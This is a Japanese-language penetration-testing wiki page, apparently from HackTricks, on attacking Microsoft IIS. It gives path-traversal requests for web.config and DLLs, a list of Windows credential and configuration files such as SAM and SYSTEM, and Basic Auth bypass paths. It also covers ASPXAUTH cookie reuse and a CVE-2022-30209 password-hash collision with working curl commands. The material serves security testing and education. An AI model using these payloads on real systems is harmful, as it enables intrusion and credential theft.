# IIS - Internet Information Services
{{#include ../../banners/hacktricks-training.md}}
テスト実行可能ファイル拡張子:
- asp
- aspx
- config
- php
## 内部IPアドレスの開示
302を受け取った任意のIISサーバーでは、Hostヘッダーを削除し、HTTP/1.0を使用して、レスポンス内のLocationヘッダーが内部IPアドレスを指す可能性があります:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
内部IPを開示する応答:
```
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## .configファイルの実行
.configファイルをアップロードし、それを使用してコードを実行できます。これを行う方法の1つは、HTMLコメント内にファイルの最後にコードを追加することです: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
この脆弱性を悪用するための詳細情報と技術は[here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)にあります。
## IISディスカバリーブルートフォース
私が作成したリストをダウンロードしてください:
{{#file}}
iisfinal.txt
{{#endfile}}
これは、以下のリストの内容を統合して作成されました:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
拡張子を追加せずに使用してください。必要なファイルにはすでに拡張子があります。
## パストラバーサル
### ソースコードの漏洩
完全な詳細は次のリンクを確認してください: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> 要約すると、アプリケーションのフォルダー内に複数のweb.configファイルがあり、"**assemblyIdentity**"ファイルや"**namespaces**"への参照があります。この情報を使用して、**実行可能ファイルの場所**を知り、それをダウンロードすることが可能です。\
> **ダウンロードしたDll**からは、**新しい名前空間**を見つけてアクセスし、web.configファイルを取得して新しい名前空間とassemblyIdentityを見つけることも可能です。\
> また、**connectionstrings.config**および**global.asax**ファイルには興味深い情報が含まれている可能性があります。
**.Net MVCアプリケーション**では、**web.config**ファイルは、アプリケーションが依存する各バイナリファイルを**"assemblyIdentity"** XMLタグを通じて指定する重要な役割を果たします。
### **バイナリファイルの探索**
**web.config**ファイルにアクセスする例は以下に示されています:
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
このリクエストは、次のようなさまざまな設定や依存関係を明らかにします。
- **EntityFramework** バージョン
- ウェブページ、クライアント検証、および JavaScript のための **AppSettings**
- 認証とランタイムのための **System.web** 設定
- **System.webServer** モジュール設定
- **Microsoft.Owin**、**Newtonsoft.Json**、および **System.Web.Mvc** のような多数のライブラリのための **Runtime** アセンブリバインディング
これらの設定は、**/bin/WebGrease.dll** のような特定のファイルがアプリケーションの /bin フォルダー内に存在することを示しています。
### **ルートディレクトリファイル**
**/global.asax** や **/connectionstrings.config**(機密パスワードを含む)など、ルートディレクトリに見つかるファイルは、アプリケーションの構成と動作に不可欠です。
### **名前空間と Web.Config**
MVC アプリケーションは、各ファイルでの繰り返し宣言を避けるために特定の名前空間用の追加の **web.config ファイル** を定義します。これは、別の **web.config** をダウンロードするリクエストで示されています。
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **DLLのダウンロード**
カスタムネームスペースの言及は、/binディレクトリに存在する「**WebApplication1**」という名前のDLLを示唆しています。これに続いて、**WebApplication1.dll**をダウンロードするリクエストが表示されます:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
これは、/bin ディレクトリに **System.Web.Mvc.dll** や **System.Web.Optimization.dll** などの他の重要な DLL の存在を示唆しています。
DLL が **WebApplication1.Areas.Minded** という名前空間をインポートするシナリオでは、攻撃者は **/area-name/Views/** のような予測可能なパスに他の web.config ファイルが存在することを推測するかもしれません。これらのファイルには、特定の構成や /bin フォルダ内の他の DLL への参照が含まれています。例えば、**/Minded/Views/web.config** へのリクエストは、別の DLL **WebApplication1.AdditionalFeatures.dll** の存在を示す構成や名前空間を明らかにすることがあります。
### 一般的なファイル
[こちら](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)から
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 エラー
次のようなエラーが表示された場合:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
サーバーが**Hostヘッダー内に正しいドメイン名を受信しなかった**ことを意味します。\
ウェブページにアクセスするには、提供された**SSL証明書**を確認し、そこにドメイン/サブドメイン名が含まれているかもしれません。もしそこにない場合は、**VHostsをブルートフォース**して正しいものを見つける必要があります。
## 注目すべき古いIISの脆弱性
### Microsoft IISチルダ文字「\~」脆弱性/機能 – 短いファイル/フォルダ名の漏洩
この**技術**を使用して、発見された各フォルダ内の**フォルダやファイルを列挙**してみることができます(Basic Authenticationが必要な場合でも)。\
この技術の主な制限は、サーバーが脆弱な場合、**各ファイル/フォルダの名前の最初の6文字とファイルの拡張子の最初の3文字しか見つけられない**ことです。
この脆弱性をテストするために[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用できます:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
.png>)
元の研究:[https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
**metasploit**を使用することもできます:`use scanner/http/iis_shortname_scanner`
発見されたファイルの**最終名を見つける**ための良いアイデアは、スクリプト[https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)のように**LLMsにオプションを尋ねる**ことです。
### Basic Authenticationバイパス
**バイパス**する基本認証(**IIS 7.5**)にアクセスしてみてください:`/admin:$i30:$INDEX_ALLOCATION/admin.php`または`/admin::$INDEX_ALLOCATION/admin.php`
この**脆弱性**と前のものを**組み合わせて**新しい**フォルダ**を見つけ、認証を**バイパス**することができます。
## ASP.NET Trace.AXD有効なデバッグ
ASP.NETにはデバッグモードが含まれており、そのファイルは`trace.axd`と呼ばれます。
これは、一定期間にアプリケーションに対して行われたすべてのリクエストの非常に詳細なログを保持します。
この情報には、リモートクライアントのIP、セッションID、すべてのリクエストおよびレスポンスのクッキー、物理パス、ソースコード情報、さらにはユーザー名やパスワードが含まれる可能性があります。
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)

## ASPXAUTHクッキー
ASPXAUTHは次の情報を使用します:
- **`validationKey`**(文字列):署名検証に使用する16進エンコードされたキー。
- **`decryptionMethod`**(文字列):(デフォルトは「AES」)。
- **`decryptionIV`**(文字列):16進エンコードされた初期化ベクトル(デフォルトはゼロのベクトル)。
- **`decryptionKey`**(文字列):復号化に使用する16進エンコードされたキー。
ただし、一部の人々はこれらのパラメータの**デフォルト値**を使用し、**ユーザーのメールをクッキーとして使用**します。したがって、ASPXAUTHクッキーを使用している**同じプラットフォーム**のウェブを見つけ、攻撃対象のサーバーで**なりすましたいユーザーのメールでユーザーを作成**できれば、**2番目のサーバーのクッキーを最初のサーバーで使用**してユーザーになりすますことができるかもしれません。\
この攻撃はこの[**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)で成功しました。
## キャッシュされたパスワードによるIIS認証バイパス (CVE-2022-30209)
[こちらに完全なレポートがあります](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):コードのバグにより、**ユーザーが提供したパスワードを適切にチェックしなかった**ため、**パスワードハッシュがキャッシュ内のキーにヒットする**攻撃者は、そのユーザーとしてログインできるようになります。
```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 200 OK
```
{{#include ../../banners/hacktricks-training.md}}